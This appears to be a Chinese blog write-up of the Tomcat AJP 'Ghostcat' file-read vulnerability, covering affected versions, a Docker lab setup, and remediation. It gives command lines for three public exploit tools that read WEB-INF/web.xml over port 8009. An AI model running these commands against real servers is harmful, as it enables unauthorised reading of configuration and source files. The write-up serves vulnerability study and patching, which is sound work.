头图:https://cdn.naraku.cn/imgs/Leak/AJP/AJP-0.jpg
摘要:年初刷爆EduSRC的Tomcat漏洞。
漏洞介绍
Tomcat在server.xml
中配置了两种连接器:
- HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
- AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。
Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等
影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
-
漏洞复现
靶场搭建
这里使用Docker部署环境。搜索受影响版本的Tomcat的镜像,这里选择
Tomcat-8.5.32
$ docker search tomcat-8.5
$ docker pull duonghuuphuc/tomcat-8.5.32
拉取完成后运行,并通过浏览器访问
http://<靶场IP>:8080
$ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
Nmap扫描
$ nmap <靶场IP>
AjpShooter
$ python ajpShooter.py http://<靶场IP> 8080 WEB-INF/web.xml read
Ghostcat
$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py <靶场IP> -p 8009 -f WEB-INF/web.xml
AJPy
$ python tomcat.py --port <port> version <IP> # 版本探测
$ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml <地址> # 文件读取
修复建议
更新Tomcat到安全版本
- Apache Tomcat 7.0.100
- Apache Tomcat 8.5.51
- Apache Tomcat 9.0.31
关闭AJP:编辑 Tomcat 配置文件
conf/server.xml
,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
其它
参考
- 工具